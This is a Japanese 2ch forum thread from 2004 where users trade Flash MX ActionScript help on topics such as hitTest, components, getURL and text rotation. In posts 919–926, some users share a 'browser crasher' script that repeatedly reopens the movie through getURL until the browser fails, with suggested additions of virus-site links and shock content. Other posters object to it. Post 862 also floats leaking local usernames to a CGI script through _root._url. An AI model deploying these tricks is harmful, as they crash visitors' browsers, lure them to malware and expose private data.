MC_hige.MC_hoge.stop()
MC_hige.MC_hoge._visible = false
MC_hige.MC_hoge._x = 0 - MC_hige.MC_hoge._width
とでも書いてステージから除外しておくくらいか。
ご教示ありがとうございます。で、少し自分の説明が間違っていたのですが、 B.swfの中にMC.hoge A.swfにB.swfを読み込む C.swfにA.swf(B.swfを読み込んだ)を読み込む この状態で、C.swfのタイムラインにMC.hogeを止めるASを記述するには、 どうしたらよいのでしょうか。
821 :
Now_loading...774KB :04/08/14 01:42 ID:fweJau5n
インスタンス名ではなく、FLASH MX内で製作中に表示されている名前を、 actionscriptから参照することは出来るでしょうか? デバッガから見えないから無理なんかな・・・?
822 :
Now_loading...774KB :04/08/14 03:26 ID:/vzLV4Hr
イライラ棒の当たり判定はどういう風にやっているんですか?線のすべてをMC化して HitTestであたりを判定するのでしょうか?
823 :
Now_loading...774KB :04/08/14 07:21 ID:6OnGNpPT
cellRendererについての質問です。 サンプルのCheckCellRendererを使っているのですが DataGrid内にCheckBoxが表示されません。 まず、空MovieClipを作って Name: CheckCellRenderer Identifier: CheckCellRenderer AS2.0Class: mx.controls.cells.CheckCellRenderer Linkage: Export for ActionScript / Export in first frame としました。 それからDataGrid(myGrid)を配置し、 myGrid.addColumnAt(0, "Checked"); myGrid.getColumnAt(0).cellRenderer = "CheckCellRenderer"; var myData:Array = new Array({Checked:true}, {Checked:false}); myGrid.dataProvider = myData; とメインタイムライン上に記述しましたがうまく動作しません。 環境はWin2000 MX2004ProVer7.2です。 どこがいけないのか教示していただけたら幸いです。
824 :
Now_loading...774KB :04/08/14 07:27 ID:ot/ZVpja
パスワードについて質問です flashムービーに パスワードをつけたいのですが 再生するときに パスワードを入力すると見れるように 一番簡単な方法がいいです swfを落とされて フラクリとかで見られるのは仕方ないですが web上だけでも パス付にしたいです。 右クリからはや送りとかすると駄目になっちゃいますかね?
>>823 の補足
上記を実行するとセルに何も表示されませんが
セルを選択するとtrueやfalseと表示されます。
826 :
823 :04/08/14 07:44 ID:6OnGNpPT
自己解決しました。 CheckBoxをライブラリに読み込んでませんでした。 こんなことに10時間以上もかけてしまった俺って・・・(鬱 スレ汚しスマソ
>>821 多分無理
ライブラリにあるだけでは、パブ時に無視されるし
attachするときも、関連付けのようなことをしなければいけないわけで
>>822 うん。てか、自分で試せよ
右クリでワープされるから、途中で通過したかどうか
判定するの入れたほうがいい。
>>824 一番簡単なのは、URLを教えないこと。
パスワード入力欄があれば、確実に何かあると思われるので
あんまり意味がない。それでもいいなら、テキストフィールドとif使うだけ
隠しにするだけでよければ、透明なボタン作って隠しスイッチにするとか
URLから変数送る形式ならば、存在ほのめかさなければ、
案外バレないもの。
>>827 返答thx.
出力した素材にカット番号(シーン名)が出たら
便利だなあと思ったんだけど。
まじめにインスタンス名を入力することにします。
829 :
Now_loading...774KB :04/08/14 21:43 ID:bkDDgEwS
ローディングで真中から両横へ伸びていく ローディングバーはどうやっているんでしょうか?
真中から両横へ伸ばす
_xscaleとかいじったら中心点基準で拡大縮小される。 つまりそういうこと。
833 :
822 :04/08/16 14:56 ID:Ypphn2g2
>>827 説明の意味がわかりません。途中でワープってなんですか?
ななめ線をMC化してHitTestすると線の存在する場所を四角形で囲んだ範囲で
HitTestが反応します。
線と重なったときだけイベントを起こさせるにはどうすればいいですか?
わかるひとお願いします。
>>833 1.いっぱい判定作って何とかする。
2.数学的に頭使って何とかする。
>>833 MovieClip.hitTest(x, y, shapeFlag)
836 :
668 :04/08/16 22:01 ID:2QZH2942
>>833 右クリックメニューが出てる間Flashが停止してるので、
メニュー出して判定すり抜けが出来ると言いたいんじゃないかな。
それを回避する為にどこまで通過したかのチェックをって事かと。
837 :
822 :04/08/17 12:50 ID:DQxHWg9F
MovieClip.hitTest(x, y, shapeFlag)でうまくできました。 みなさんありがとうございます。
getURLについて質問です。 フレームで上下に分割されているサイトを作っているのですが、 (上フレームには各コンテンツに飛ぶFlashを置く予定です) Flashのボタンを押すと下フレームに ジャンプされるようにしたいのですが上手くいきません。 on (press) { getURL(" A.htm "); } だと同じ(上の)フレーム内にA.htmが表示されてしまいます。 下のフレームにA.htmを表示させるようにするには どうしたらいいでしょうか。 環境はXPで、MXを使ってます。 分かる方おねがいします。
839 :
Now_loading...774KB :04/08/17 15:04 ID:De1Y4Hd4
普通のHTMLでもターゲットフレームを指定しなければそうなる
無理にflashを使うことはないと分かる日が来る。きっと。
例えで言うとAKIRAさんの所みたいな感じかな・・・
絵が描けない人は大体、ActionScriptに逃げる ActionScriptが出来ない人は大体、絵に逃げる
漏れは前者です・・・
絵もスクリプトもダメなヤツはシェイプだけ使って挫折する。
そして最終的にコラボ
俺はどちらも神レベル
真の神は全てスクリプトで絵を描く。
やってる人いるだろうね。 大昔のADVみたい(ライン&ペイント方式)
まあ、プロならflash なんて使わずにBASICですべてこなしてるだろうけどナ。
10 print"BASICなんてもう誰も使わんよ。"; 20 goto 10 30 end run
あ、無限ループだから30いらんやん。orz
MX使用です。 flashに付属のエディタで「自動フォーマット」機能を使うとなぜかcontinue;が勝手に消されてしまいます。 もちろんcontinue文がないことで動作結果は変わってしまいます。 これについて何かご存知のことがありましたら教えてください。
>853 まくろめでぃあに連絡汁! 約二日後に返事が来るよ。
855 :
Now_loading...774KB :04/08/22 00:15 ID:n/99Dq4p
Alert.show("ほげ"); の使い方を教えてください。 上記のように記述をすれば、Alert メッセージが表示されるわけではないのですか?
そういう基本的なことは試してみたらわかりませんか?
857 :
855 :04/08/22 01:44 ID:n/99Dq4p
でてきてくれなかったんでお伺いしているのですが。。。 そうですよね、きっと本来この記述だけで表示されるハズですよね。 うーん。
MX2004からの機能ですけどそこは大丈夫ですか?
>>858 855じゃないけど、ためしに自分も
import mx.controls.Alert;
Alert.show("ほげ");
てやってみたら、
Failed to create a new alert, probably because there is no Alert in the Library
ってエラーがでてうまく動かないんですけど、どうしてでしょう?
WINXP、MX2004使ってます。
ClassesフォルダにもちゃんとAlert.as入ってるのに。
860 :
855 :04/08/22 02:13 ID:n/99Dq4p
ども。
言葉足らずというか、何も説明しないで申し訳ありませんでした。
私も
>>859 のようなエラーメッセージが出ます。
環境はxp pro + mx2004 pro です。
>>860 ヘルプに
>Alert コンポーネントを使用するには、Alert コンポーネントをステージにドラッグし、
>それからすぐにその Alert コンポーネントをステージから削除します。この操作により、
>アプリケーションには表示されませんが、Alert コンポーネントはライブラリに
>間違いなく追加されます。Alert ウィンドウをポップアップするには、
>Alert.show() メソッドを呼び出す必要があります。
ってあるんだけどこれとは関係ないのかな
proじゃないから確認できないけど
_root._urlでflashのあるURLを確認できるんだけど、 これ、zip配布して、ローカル利用にして、 起動時にHDの保存先を取得して、cgiにpostすれば、 人のHDの構造なり、盗み見できるんじゃないの? NT系OSを使ってる場合で、デスクトップに解凍してると、 ユーザー名が見られる可能性が。。
863 :
859 :04/08/22 09:46 ID:K7ZelfWG
>>861 レスありがとうございます。
多分それでエラーが出てたんだと思います、もっとよくヘルプを見るべきでした。
でも自分もproじゃないので使えないですね。
ありがとうございました。
864 :
Now_loading...774KB :04/08/22 10:45 ID:j8rkhSCA
>>862 FLASHってHDD容量とかOSとか調べられますよね
それをCGIにポストするようにして
ページに設置すればアクセス解析が強化できるってことですかね
>>864 HDD容量???????????????????
javascriptで取得できる環境変数しか抜けないぞ?
あとはplayerのバージョン程度
>>862 見れるかもしれんがそのデーターをどうするの?
悪用もできんし、ファイアーウォール入れてりゃすぐばれますぜ?
たしかにユーザー名は見られるな・・・ こういうこともあるのでユーザー名には本名入れてないけどね。 まぁ、このご時世、個人情報を集めてるのがバレたら徹底的に叩かれる可能性が高い事を お忘れなく。
867 :
Now_loading...774KB :04/08/23 03:02 ID:h8L9Yjht
ムービークリップのローテーションについて質問です。 mx2004 proです。 for ( var cnt = 0; cnt < 10; cnt++ ) { _root.hoge_mc.duplicateMovieClip( "date_mc" +cnt, objectDepth); eval( "_root.date_mc" +cnt + ".item").text = "a"; eval( "_root.date_mc" +cnt )._x = 40; eval( "_root.date_mc" +cnt )._y = cnt *10; eval( "_root.date_mc" +cnt )._rotation = -80; // ココが疑問 objectDepth += 1; } の部分で_rotation の記述をするとムービークリップが削除されてしまいます。 _rotation の記述をコメントアウトすれば正常動作するのですが、なぜでしょうか?
>>867 あれ? evalを左辺値に使うなっていうエラーでませんか?
for ( var cnt = 0; cnt < 10; cnt++ ) { _root.hoge_mc.duplicateMovieClip( "date_mc" +cnt, objectDepth); _root["date_mc" +cnt].item.text = "a"; _root["date_mc" +cnt]._x = 40; _root["date_mc" +cnt]._y = cnt *10; _root["date_mc" +cnt]._rotation = -80; objectDepth += 1; }
870 :
Now_loading...774KB :04/08/23 15:56 ID:3cY9ZfLL
safariだとTextareaコンポーネント内のテキストがコピペできないのは仕様? 他のブラウザ&flashプレーヤーでは問題なし コマンドCとコマンドVだとダメで、コントロールクリックからならコピペ可能 誰か試してみて下さいませ
871 :
Now_loading...774KB :04/08/23 18:03 ID:lxWTXaTB
現在再生中のコマ番号を画面上に表示したい。 _currentframeを使ってダイナミックテキストに出力させたのですが、 初期フレーム(1)の番号が表示されたっきりカウントされません。 全てのフレームにキーを切って、それぞれにscriptをはっつければ それはカウントされるんですが。 何かよい方法はないでしょうか?
this.onEnterFrame = function(){ hoge=_currentFrame; }
>>872 動作しました。感謝です。
この概念が完全に脱落していました。
ありがとうございます。
874 :
867 :04/08/23 21:19 ID:h8L9Yjht
>>868 >>869 感謝!
なるほど、確かに損なような記述があったような。。。
でもエラーなどなく(ローテのコメントアウトさえすれば)正常に動いていたんですよ。
修正して試してみます。
ありがとうございましたー!
助けてください。 htmlのマーキー(流れる文字)と同じような物をFlashで作成しようと思っています。(単一行) その際、流れる文字はダイナミックテキストで外部テキストを読み込んで使用したいのです。(文字数は日々変わる) テキストフィールドのサイズをautoSizeで可変にして リサイズ後のテキストフィールドの横幅を_widthで取得しようとしたのですが _widthでは最初に配置したテキストフィールドのサイズが返ってきてしまい上手くいきません。 外部テキスト読み込み後の横幅を取得する方法を教えてください。 説明がわかりにくいかと思いますがアドバイス宜しくお願いします。
876 :
867 :04/08/23 23:01 ID:h8L9Yjht
ソースを
>>869 のようにしゅうせいしたのですが、結果は同じでした。。。
なぜだー!?
やはり_rotation の行をコメントアウトすれば正常動作するのですが、
_rotation = xxx の記述を行うと該当MovieClip が見えなくなってしまっています。
へるぷみ。
877 :
875 :04/08/23 23:12 ID:ss5uGnJk
すみません自己解決しました。 onClipEvent (data)を使ったらできました。 お騒がせしました。
_root.createTextField("textbox_1", 1, 0, 0, 100, 20); _root.createTextField("textbox_2", 2, 0, 20, 100, 20); textbox_1.autoSize = true; f = function () { textbox_1.text += "test"; textbox_2.text = "width:"+textbox_1._width; }; setInterval(f, 500); ふつーに取得できますよ 上の例を試してみそ フレームアクションにはっつけるだけで動きます
879 :
867 :04/08/23 23:18 ID:h8L9Yjht
調査報告 867 のscript を見てのとおり、movieClip の中にダイナミックテキストが 存在し、動的にテキストを表示しております。 そのテキスト(ボックス?)は0度の状態でしか表示されず、 rotation を設定すると描画されなくなってしまうようです。 _rotation = 0; を設定する場合は描画されます。 これ、真実ですかね?回避方法ないですかね? いろんなflash みてると回転してるダイナミックテキストってあるような気がするんですが。。。
880 :
Now_loading...774KB :04/08/23 23:30 ID:gWOms80M
ここで質問するべき内容なのかどうかちょっと微妙だけど一応ここで。 ムービー内でtxtやらhtmlやらを読み込ませるのって、セキュリティの都合上そのムービーとtxtやhtmlが同一の鯖にないと読み込めないじゃないですか。 それを別の鯖にあるtxtやhtmlを読み込む方法というか抜け道みたいなのって何かないですか? 環境はXPのMX2004です。
そうそう簡単にセキュリティを破れるならそのセキュリティの意味がありませんからね 無理です。 ただ、swfをローカルに置けば回避できます
883 :
867 :04/08/23 23:37 ID:h8L9Yjht
>>881 ぴったりの回答ありがとうございます!
そのページにたどり着くことはできませんでした。
なるほど、、、では動的に設定されるテキストは
回転させることができないということですね。。。
文字を全部一文字一文字シンボル化して組み合わせるわけにもいかないし。
困った。
884 :
881 :04/08/23 23:43 ID:GnHIQ5Gs
>>883 だから、フォントを埋め込むことで回避できます!!
レスを最後まで読みましょう
>>880 読み込みのポリシー定義ファイルを鯖に置けるならいけますよ。
詳しくはマクロメディアのTIPS、もしくはヘルプを参照
886 :
867 :04/08/24 07:15 ID:edf6cCAg
>>884 意味が理解できてませんでした。
埋め込む=テキストは固定
かと。できること、了解しました。どもでした!
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ
888 :
Now_loading...774KB :04/08/24 10:57 ID:/UNXj962
厨房な質問でスマソ。 textfieldをじんわり加速じんわり減速させながらscrollさせるには この上で、どこをどうすればよいのでしょうか? on(press){ this.onEnterFrame = function(){ txt.scroll++; }; on(release){ delete this.onEnterFrame; }; on(releaseOutSide){ delete this.onEnterFrame; } よろしくおながいします!
889 :
888 :04/08/24 11:06 ID:/UNXj962
環境はMX + Mac OS9.2です。
質問させていただきます。 マウスクリックしっぱなしで、弾をフルオート連射するようにしたいのですが、 下の自機に描いたスクリプトはうまく動作してくれません。 どうすればうまく動いてくれるでしょうか?ご教授お願いします。 onClipEvent(load){ function shot() { for (n=1; n<=5; ++n) { if (_root["shotA"+n] == null) { shotpoint = {x:this._x, y:this._y}; _parent.localToGlobal(shotpoint); _root.attachMovie("shotA", "shotA"+n, n, {_x:shotpoint.x, _y:shotpoint.y}); break; } } } }onClipEvent(EntarFrame){ this.shot(); }
891 :
890 :04/08/24 11:34 ID:MgEryHei
環境は、WindowsXP、FlashMXです
>>888 こんな感じで条件式を追加
on(load){
hoge=1;
}
on(press){
this.onEnterFrame = function(){
hoge *= 1.05;
if(Math.floor(hoge) % 5 == 0){
txt.scroll++;
}
};
on(release,releaseOutSide){
hoge=1;
delete this.onEnterFrame;
};
>>890 クリックしたら、autoshot=true;
離したらautoshot=false;
質問させていただきます。 環境:WinXP/Flash MX 2004 ■Flashの停止を感知し、表示しているMCを停止を止める方法を探しています。 □現在挑戦中の案 ルートの1〜2フレームを再生中。3フレームを停止(ASでstop()を記述)としています。 1〜2フレームにctrl_mcというMCを作成し、2フレームでループさせています。 ctrl_mcにて、下記のコードでルートのフレーム数をチェック&制御しようとしています。 onClipEvent( enterFrame ){ // MC再生中 ctFrame = _root._currentframe; // ルートの現在フレームNoを取得 if( ctFrame != gRtFrame ){ // 前フレームNoと比較で一致しない。(再生中) if( true == gRtFlag ){ // 停止状態からの復帰時 // 他のMCを再生(省略) gRtFlag = false } gRtFrame = ctFrame; // 前フレームNoを更新 _root.gotoAndPlay(1); // ルートのフレームを1フレーム目に移動 }else{ // 一致した場合は停止と見なす。 // 他のMCを停止(省略) gRtFlag = true; // 停止状態Flg ON } } _root.gotoAndPlay(1);でルートの先頭フレームに戻るつもりだったのですが、そのまま次の3フレームに 移動してしまいstop();で停止してしまいます。
>>890 Key.isDown(1)で左クリックが取得できたりする。たしか。
質問 ボタンにgetURLで1つ上の階層のフォルダ内をリンクさせたいのですが、 on (release) { getURL("_parent/news/main.html", "_parent"); } とやってみましたが、案の定ダメでした。 相対パスの指定がわかりません。 教えてください。
getURL("../news/main.html");
>>896 ありがとうございます!!
調べ方が悪かったのか
色々調べたのにわからなくて諦めかけてたんです。
感動しました!
ありがとうございました!
898 :
Now_loading...774KB :04/08/24 22:29 ID:e0jFRiCX
>>897 flashよりまず先にhtmlを覚えましょう
>>893 >ルートの1〜2フレームを再生中
とありますが、ルートの2フレーム目にgotoAndPlay(1)となどと書いてループさせている場合
ctrl_mcのenterFrameで_root._currentframe取得するとずっと2という値が帰ってくると思います
1~3フレーム間でループさせるなどして見てください。
あと、スクリプトの9行目はいりません
901 :
Now_loading...774KB :04/08/25 02:34 ID:hqJZpx+Q
>>892 >>894 ありがとうございました。
キーコード1でマウス取得できるんですね。
ほんま助かりました。
903 :
Now_loading...774KB :04/08/25 21:03 ID:Dg2OUg7M
>>901 フラッシュ内でもそのアフィン変換を用いれば出来るってことですか?
904 :
Now_loading...774KB :04/08/25 21:23 ID:p/XMIVS9
swf自身がローカル/オンラインどちらで実行されているか判定できますか?
if (_url.indexOf("http")<0) { //ローカル } else { //サーバ上 }
AS1.0のクラス関連で質問します。 myClass.prototype.Func = function(){ 〜 〜 this.onEnterFrame = thisFunc2; (1) } myClass.prototype.Func2 = function(){ (2) 〜 〜 } というような定義をした時、 (2)において FooClass.prototype.Func2 = function( arg ){ という風に引数を指定したい場合、(1)の記述はどのようになるのでしょう。 以前、どこかのスレッドで見た記憶があり、 あちこち探したんですが見つかりませんでした。 よろしくお願いします。
>>901 アフィン変換って行列使うんでしょ?ぐぐって分かるほど簡単じゃねぇだろ
今、力のモーメントとか使ってコピーしようと奮闘ちゅう
それっぽいのが出来たら上げますね
>>906 (1)はthis.onEnterFrame = this.Func2; のミスだよね?
で、onEnterFrameにFunc2を割り当てる時には引数の記述は付けられないので、
(1)は変わりません。
毎フレーム何らかのパラメーターを渡したいなら、メンバ変数で渡すのが良いんじゃない
でしょうか。
>>905 滅多にないことだと思うけど、
"http"と言う文字列を含んだフォルダ名をつけている人がいたらマズい?
>>904 >>905 こっちの方が確実。
var lc = new LocalConnection();
var addr = lc.domain();
if( addr = "localhost"){
//ローカル
}
以前他のスレで見かけた方法。
LocalConnectionはヘルプに書いてないから、調べないと気が付かないよね・・・
911 :
Now_loading...774KB :04/08/26 01:35 ID:oWSZzN0S
>>909 今回の件では、オンライン上で制限を与える使い方だったので、
問題なしだと思うのですが、確かに引っかかります。
と思ったら
>>910 さんが書いて下さった方法があるようですね。
なるほど、やはり直球の解決法がありましたかー。
なかなか検索しても出なかったんですが、
ヘルプに載ってない命令も結構あるんですかねえ。
ありがとうございました。
>>910 if内は、== ね。
コピペ元がタイプミスしているんだろうけど。
914 :
Now_loading...774KB :04/08/26 10:34 ID:8NdwQ6KI
Mac9+MXです。 マウスのx座標の変化に従って横方向へ無限にループスクロールするMCを 作りたいのですが、どうすれば良いでしょうか?? おしえて君で申し訳ないですが、宜しくです。 取りあえず試してみたのは以下の通りです。 MC.duplicateMovieClip("MC2", 1); MC2._x = MC._width; this.onEnterFrame = function() { speed = _xmouse/20; MC._x += speed; MC2._x += speed; if (MC._x>MC._width) { MC._x = MC2._x-MC._width; } if (MC2._x>MC2._width) { MC2._x = MC._x-MC2._width; } };
915 :
914 :04/08/26 10:48 ID:8NdwQ6KI
補足です。 MCは左を基準点にして作成し、ステージの左端に置いています。 で、ステージサイズは幅800です。 よって、4行目は speed = (_xmouse-400)/20; と訂正です。 マウスが画面中央より左に行けば左方向へ、右に行けば右方向へスクロールし、 マウスの画面中央からの距離があるほどスクロールスピードがアップするように したいのですが、左へのスクロールの際、MCがコピーされるようにするには どうすれば良いのでしょうか? という質問です。 宜しくお願いします!
_root.createEmptyMovieClip("MC", 0); MC.attachMovie("box", "box_0", 0); i = 1; MC.onEnterFrame = function() { MC._x += (_xmouse-400)/10; if (_xmouse<0 && MC._x+MC._width<0) { MC.box_0.duplicateMovieClip("box_"+i, i); MC["box_"+i]._x = i*MC["box_"+i]._width; i++; } }; こんな感じかな?コピーしたいMCのリンケージをboxにして試してみて下さい
917 :
916 :04/08/26 12:17 ID:JEP0y3fR
あ・・・1行目の_root.はいらないか
918 :
914 :04/08/26 12:56 ID:8NdwQ6KI
>916
ありがとうございます。
しかし、コピペって試してみましたが、うまくいきません。
移動はしますが、複製がひとつも作成されないのです。
あと、恐縮なことに意味が分からないのですが、
コピーしたいMCのリンケージをboxに、というのは、
actionscript用に書き出し→識別子を「box」ということでしょうか?
>>914 に書いたasの場合、右方向へスクロールした場合、
途切れなくMCの複製が現れるのですが左方向へスクロールさせたときに
MCの右側へMC2が現れるのですが、
そこでスクロールのループが途切れてしまいます。
他の方法でも構わないのですが、
この部分をどうにかする方法がお分かりの方いらっしゃいましたら
宜しくお願いしますm(_ _)m
919 :
たった1行でFLASHをブラクラにする方法 :04/08/26 13:57 ID:GYIosIOM
getURL(_url,"_blank") ローカルで実行しても効きます。JS切っても無駄。
920 :
Now_loading...774KB :04/08/26 14:10 ID:GYIosIOM
こうするとなお面白いかも。 onEnterFrame=function(){ getURL(_url,"_blank"); } しくみは、毎フレームごとにこのflash自身をIEで開かせる て増殖したやつもまた毎フレームごとに増殖 するとどうだろう。瞬く間に鼠算式にflashが開き 「ok.ブラクラゲット」っとなるわけだ。 こちらで実験したところ数秒で落ちました。 さらに、このスクリプト冒頭にgetURL("ウィルスサイトのURL","_blank");を張ればこれ,最強 (ウィルスは自分で探してちょ)
なんてことを思いつくんだ・・・
こわすぎるよな。スーパーハカーだ
あちこちのFLASHスレに貼られてるよ 氏んでくれ
>>920 onEnterFrame=function(){
getURL(_url,"_blank");
getURL(_url,"_blank");
getURL(_url,"_blank");
getURL(_url,"_blank");
getURL(_url,"_blank");
getURL(_url,"_blank");
getURL(_url,"_blank");
getURL(_url,"_blank");
getURL(_url,"_blank");
getURL(_url,"_blank");
}
どうせならこれくらいやろうぜ
this.onEnterFrame = function(){ for(i=0;i<20;i++){ getURL(_url,"_blank"); getURL("hoge.mpg"); getURL("hoge.wmv"); getURL("hoge.pdf"); getURL("mailto:hoge"); } } さらにFLASH上でグロ画像&音声再生とかするとマイクラとしても使えて効果的 どうよ?
google tool barの前では無力 出直して鯉!
928 :
906 :04/08/26 23:08 ID:cDzkG1UP
>>908 > 毎フレーム何らかのパラメーターを渡したいなら、メンバ変数で渡すのが良いんじゃない
> でしょうか。
ご返事遅れてすいません。
やはりそれしかないですか。
ありがとうございました。
FlashMX使用です。 100×100サイズのa_mcを作成し、外部ファイルb.swf(150×150)をa_mcに a_mc.loadMovie('b.swf') で読み込んだのですが、a_mcの前面に150×150のままのサイズでb.swfが 表示されてしまいます。これを、a_mcの100×100内にb.swfを表示させたい (100×100の枠の中に表示)のですが、方法が分かりません。どなたかご 教示下さい。
>>929 a_mcをいったん150x150で作っておいて、変形ツールとかで100x100に変更
(拡大率66.7%のムービークリップを作っておく)しておいて読み込ませるのが一番楽だと思う。
931 :
Now_loading...774KB :04/08/29 20:51 ID:ZkW0x2TA
Commercial Upgradeとはなんですか? 普通のアップグレード版とは別物ですか?
933 :
Now_loading...774KB :04/09/01 22:36 ID:LSyvG2WK
質問していいですか。 MC名ballをonEnterFrameで動かしておいて this.onEnterFrame = null; で止めます。 そのあと、別な条件をみたしたときに _root["ball"].onEnterFrame = _root.move(); のようにまた動かすことってできますか? 一度onEnterFrameにNULLを入れると反応しなくなるような気がするのですが?
935 :
933 :04/09/01 22:40 ID:LSyvG2WK
間違い、6行目は_root["ball"].onEnterFrame = _root.move; で、カッコ無しです。 カッコありだと関数の処理が一回で終り、カッコ無しだと繰り返し処理してくれたり いまいちASの細かい部分を理解しきれてません。
936 :
933 :04/09/01 22:41 ID:LSyvG2WK
>>934 一応、実験しました。それで上手くいかないので、もともとできないのか
それとも他のところが間違っているのかを聞こうと思って書きました。
>>933 できる。どっか間違ってる。
一度超シンプルなテストサンプルでも作ってみるといいと思う。
括弧は簡単に言うと関数の呼び出しを意味する。
括弧が無い時は関数そのものを指す。
onEnterFrameは毎フレーム必ず呼び出されるので、関数を代入すればそれが実行される。
括弧をつけてしまうと関数の呼び出された結果を代入することになってしまう。
938 :
933 :04/09/01 23:34 ID:LSyvG2WK
>>937 本当だ、サンプルを作るとできました。
どこか間違えているみたいです。
括弧有りと無しの違いもわかりました。
分かり易い説明ありがとうございます。
localToGlobalについて質問なのですが、 3階層くらい入れ子にしたMCの中で //ローカル座標変換 point.x=_x point.y=_y localToGlobal(point) //座標のトレース posTest=point.x +" : "+ point.y trace(posTest) を行ってみたのですが、 1階層目、2階層目のMCの位置を動かすと変換した座標がズレてしまいます。 1階層目、2階層目が動いた場合でも、3階層目のローカル座標を rootの座標に変換するにはどうしたらいいか解りますか?
>>939 MCを動かした後にlocalToGlobalで再取得。
お知恵、お貸し下さい。 MX2004Proのスライド機能を使いFlashを作成しています。 1.swf、2.swfのファイルがあり、それぞれに複数枚のスライドがあります。 この2.swfの任意のスライドからスクリプトを使って1.swfの任意のスライドを表示するには どのようにすればよいでしょうか?
>>941 2つを読み込む3.swfを作って指定するか、
2つをくっつけて新しく3.swfを作ってしまうのが楽かと。
確か、スライドならコピー&ペーストで移動できたと思う。
その上で、gotoSlideメソッドで移動してはどうでしょう。
>>940 それでもダメなんですよ。
んで、何度か試行錯誤した結果、
自分より上の階層の全てのMCの_xをプラスする事で誤差が消えました。
このメソッドって扱い辛いですね…。
944 :
Now_loading...774KB :04/09/02 23:43 ID:kWr4/LL2
Commercial Upgradeとはなんですか? 普通のアップグレード版とは別物ですか?
945 :
Now_loading...774KB :04/09/03 22:20 ID:b5X2QcfQ
テキスト入力で、日本語入力確定のEnterとそれ以外のEnterを区別して処理することは可能でしょうか。 もし可能であれば方法をお教えくださいませ。
>>945 myListener = new Object();
myListener.onKeyDown = function() {
if (Key.getCode() == Key.ENTER) {
trace("ぬるぽ");
}
};
Key.addListener(myListener);
とか?
947 :
バイク犬 :04/09/06 07:11 ID:PTUvooJf
>>945 変換確定のEnterはflashに拾われなかった気がするけど。
#flashはインライン入力じゃなかった気がするし。
948 :
Now_loading...774KB :04/09/06 18:05 ID:2fnzQCy7
FLASHMX2004で、 どうしても3階層のFor文で計2000万命令ほどの ループをかけなきゃいかんのです。 でも、7万回くらいでFlashplayerが 「実行速度が遅くなっています。」と文句言い出しまして・・・。 FlashPlayerを黙らせる事って出来ないのでしょうか。 ・・・やっぱり無茶?
>>948 一番外のループをonEnterFrameで回すようにするとか、どうなんだろう。
リサイズについて質問です。
下のソースでプレイヤー上ではうまくリサイズされているのですが、
ブラウザで表示すると何故かうまく動作しません。どなたか原因解りますか?
※AS
Stage.align = "TL"; // Flashムービーを左上に配置
Stage.scaleMode = "noScale"; // 伸縮を拡大/縮小なしに
Stage.addListener(this);// MovieClipインスタンスをリスナーに登録
this.onResize = function() {
bg._width = Stage.width;
bg._height = Stage.height;
};
※HTML側のソース
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="
http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0 " width="100%" height="100%" id="ステージリサイズ" align="middle">
<param name="allowScriptAccess" value="sameDomain" />
<param name="movie" value="ステージリサイズ.swf" />
<param name="quality" value="high" />
<param name="scale" value="noborder" />
<param name="salign" value="lt" />
</object>
951 :
948 :04/09/06 18:58 ID:2fnzQCy7
>>949 さっそくありがとうござます。
・・・onEnterFrameを使った事ないので調べてみます。
一応こんな感じってことでソースおいておきますね。
data = 410
for(i=0; i<data -1; i++){
for(ii=i+1; ii<data; ii++){
for(iii=i+1; iii<data; iii++){
処理1;
}
}
}
MXエデュ版のヘルプの「マウス位置の取得」の 下記のコードですが、 onClipEvent(mouseMove){ x_pos = _root._xmouse; y_pos = _root._ymouse; } 行 1:クリップイベントはムービークリップインスタンスでのみ使用可能です。 とエラー通知がきます。 メインタイムライン上のマウス位置をマウスを動かす度に数値を取得する という内容にしたいのですが、どう改善すれば良いでしょうか?
>>952 ステージ上に空でもかまわないので何かMCつくってそこにそのAS入れてみてください
954 :
952 :04/09/06 22:13 ID:x5qcbGK7
>>953 上手くいかない様です。
x_pos = _root._xmouse;
y_pos = _root._ymouse;
のみフレームに入れた場合、数値を取得したテキストには
一応座標の数値が表示されますが、MCに前述のコードを入れると
各々に"level0.x_pos"、"level0.y_pos"
の様に表示されてしまいます。
955 :
952 :04/09/06 22:16 ID:x5qcbGK7
嗚呼…説明下手でスマソ。言いたい事を伝えづらい
956 :
950 :04/09/07 01:35 ID:ZfOioI9j
解る人中々いないみたいですね…。
Flash Playerで見るとしっかり動くのに、ブラウザだとダメなので、
HTMLの書き出し方法なのかと色々試していますが、
未だに解決出来ません。何方か解る方いたら是非お願いします。
>>954 onClipEventはタイムラインに入れるコードじゃないですよ。
ムービークリップ作ったら、そのムービークリップを1クリックして選択すると、
下のプロパティウィンドウからインスタンス名を付けたり出来ますよね?
その選択状態でアクションに書くんです。
タイムラインに書くのとは別で、Clip Actionって名称だったはず。
958 :
952 :04/09/07 03:00 ID:yrN5DWcs
>>956 やはり日本語が変でしたorz
ムービークリップに一応選択して入れてます。
けど、なぜか座標の数値を取得するテキストには
上手く数値が表示されません。
flaファイルうpできたら手間取らないと思いますが。。。
>>958 なぜかは分かんないけど、こっちなら表示できた
変数ではなくインスタンス名をx_posとy_posとした場合変数名は付けずに
onClipEvent (mouseMove) {
this._parent.x_pos.text = _root._xmouse;
this._parent.y_pos.text = _root._ymouse;
}
仕様なのかバグなのか分かる人いる?
960 :
950 :04/09/07 08:05 ID:ZfOioI9j
>>957 ありがとうございます。
そのサイト見てやっと原因が掴めました。
<param name="scale" value="noborder" />
これがいけなかったみたいです。
>>958 そのテキストはムービークリップの中?外?外だったら
_parent.x_pos = _root._xmouse
_parent.y_pos = _root._ymouse
にするのと、後テキストフィールドの変数名が入ってるか確認してみて。
インスタンス名だけ入れてるってだけかも。
961 :
952 :04/09/07 20:34 ID:nesxldYq
>>959-960 ウホッ。ありがとうございます。
おかげ様で上手くいきました。
どうやらテキストがMCの外にあった様です。
複数のボタンに対応させたいのですが、どのようなスクリプトを 記述すればいいのかが分かりません。 イメージとしては、下の2つをまとめられるような スクリプトは無いかなってことです。 on (keyPress "<Enter>") { this.nextFrame(); } on (keyPress "<Right>") { this.nextFrame(); } よろしくお願いします。
複数の、例えば10個ぐらいのMC同士で、 皆お互いにぶつかったかどうかをチェックする為にはどうしたら良いんでしょうか? 私が思いつくのは全てのMCに対して、 自分以外のMC分だけ、ifでぶつかったかどうか (hitTest) を 調べまくるっていう効率の悪そうな方法だけです。 もっと良い方法があるように思うのですが....
>>963 0 と 123456789
1 と 23456789
2 と 3456789
3 と 456789
:
:
かな?
